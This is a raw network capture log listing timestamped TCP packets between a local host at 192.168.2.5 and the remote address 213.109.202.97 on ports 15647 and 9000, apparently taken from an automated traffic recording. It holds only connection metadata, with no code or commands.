Oct 19, 2024 03:38:10.712012053 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:10.716766119 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:10.726926088 CEST	50019	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:10.727453947 CEST	50025	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:10.731931925 CEST	9000	50019	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:10.732003927 CEST	50019	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:10.732237101 CEST	9000	50025	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:10.732302904 CEST	50025	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:10.732470989 CEST	50025	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:10.735557079 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:10.735629082 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:10.737179041 CEST	9000	50025	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:10.755057096 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:10.755116940 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:10.795953989 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:10.796011925 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:10.828084946 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:10.828150034 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:10.860435009 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:10.860517025 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:10.876316071 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:10.876410961 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:10.898967028 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:10.899034977 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:10.939826012 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:10.939908028 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:10.973150969 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:10.973256111 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:10.978269100 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:10.978338957 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:11.002403021 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:11.002476931 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:11.020719051 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:11.020787001 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:11.062474012 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:11.062546968 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:11.094410896 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:11.094484091 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:11.122708082 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:11.122792006 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:11.142878056 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:11.142966032 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:11.165081024 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:11.165170908 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:11.206749916 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:11.206834078 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:11.238781929 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:11.238871098 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:11.269335032 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:11.269426107 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:11.287151098 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:11.287462950 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:11.329683065 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:11.329777956 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:11.360851049 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:11.360968113 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:11.389168978 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:11.389273882 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:11.409454107 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:11.409612894 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:11.431595087 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:11.431687117 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:11.473174095 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:11.473265886 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:11.505526066 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:11.505625010 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:11.535758018 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:11.535835981 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:11.554073095 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:11.554229975 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:11.596539974 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:11.596628904 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:11.623174906 CEST	9000	50025	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:11.627691984 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:11.653425932 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:11.656023979 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:11.656137943 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:11.675997019 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:11.676103115 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:11.679425001 CEST	50025	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:11.698241949 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:11.698332071 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:11.738857031 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:11.739003897 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:11.740772009 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:11.742100954 CEST	50025	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:11.742475986 CEST	50027	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:11.747245073 CEST	9000	50025	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:11.747311115 CEST	9000	50027	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:11.747314930 CEST	50025	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:11.747373104 CEST	50027	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:11.747443914 CEST	50027	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:11.752243996 CEST	9000	50027	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:11.771883011 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:11.771960974 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:11.803498983 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:11.803580046 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:11.821193933 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:11.821273088 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:11.862814903 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:11.862919092 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:11.885243893 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:11.885335922 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:11.931051016 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:11.931112051 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:11.936011076 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:11.936077118 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:11.941001892 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:11.942677975 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:11.945729971 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:11.965531111 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:11.965606928 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.005618095 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.005716085 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.029647112 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.029747963 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.070067883 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.070158005 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.087639093 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.087738037 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.129640102 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.129707098 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.151727915 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.151849985 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.197834015 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.198292017 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.202745914 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.212270021 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.213666916 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.231967926 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.234268904 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.272295952 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.273001909 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.296045065 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.296153069 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.336518049 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.338347912 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.347161055 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.351967096 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.376355886 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.378308058 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.418243885 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.422296047 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.464760065 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.466381073 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.480499983 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.480591059 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.491513968 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.494287968 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.539793015 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.539927006 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.562779903 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.562860012 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.604818106 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.606283903 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.618416071 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.622298002 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.626867056 CEST	9000	50027	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.635966063 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.636054039 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.679413080 CEST	50027	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.687011957 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.688765049 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.689344883 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.694185019 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.695753098 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.711270094 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.712651968 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.717609882 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.726823092 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.731703997 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.732916117 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.742542028 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.742826939 CEST	50027	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.743149042 CEST	50028	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.747030020 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.747953892 CEST	9000	50027	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.748058081 CEST	9000	50028	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.748068094 CEST	50027	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.748130083 CEST	50028	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.748214006 CEST	50028	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.752995968 CEST	9000	50028	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.760847092 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.760942936 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.780500889 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.780592918 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.829663038 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.830341101 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.872941971 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.873065948 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.888607025 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.889385939 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.902513981 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.902590036 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.925124884 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.925936937 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.971174002 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.971240997 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.973412037 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.976279974 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.979334116 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:12.979490042 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.981280088 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:12.993271112 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.005547047 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.009123087 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.027817965 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.027918100 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.047188997 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.047275066 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.097146034 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.097268105 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.123691082 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.123786926 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.156086922 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.156188011 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.169234991 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.169332027 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.191726923 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.194355965 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.238254070 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.238465071 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.247906923 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.247993946 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.272017002 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.272097111 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.294575930 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.294677019 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.313491106 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.313585997 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.359046936 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.359123945 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.363908052 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.363974094 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.367347956 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.372205973 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.384016991 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.389177084 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.390784025 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.398711920 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.417093039 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.417196989 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.436703920 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.436803102 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.679373980 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.679430962 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.679486036 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.679543018 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.679584026 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.679610014 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.679630995 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.679665089 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.679709911 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.679727077 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.679786921 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.679826021 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.679851055 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.679883957 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.679924011 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.679949045 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.679984093 CEST	9000	50028	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.680023909 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.680078983 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.680099010 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.683829069 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.683917046 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.684972048 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.688798904 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.710867882 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.715595007 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.724481106 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.726392984 CEST	50028	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.726994991 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.783121109 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.783186913 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.788033962 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.789055109 CEST	50028	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.789565086 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.789630890 CEST	50029	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.794204950 CEST	9000	50028	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.794270039 CEST	50028	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.794323921 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.794369936 CEST	9000	50029	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.794436932 CEST	50029	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.794529915 CEST	50029	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.799228907 CEST	9000	50029	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.805619001 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.810476065 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.820775032 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.825581074 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.836075068 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.840843916 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.852711916 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.857676029 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.868957043 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.873847008 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.883183002 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.888442039 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.899079084 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.903883934 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.914556026 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.919934034 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.930238962 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.935091972 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.945611000 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.948075056 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.950280905 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.950341940 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.982038021 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.982109070 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:13.993778944 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:13.993926048 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.039072037 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.039133072 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.043982983 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.044024944 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.048890114 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.049673080 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.056021929 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.056082964 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.056387901 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.072339058 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.072391987 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.087599039 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.087666035 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.092505932 CEST	15647	49704	213.109.202.97	192.168.2.5
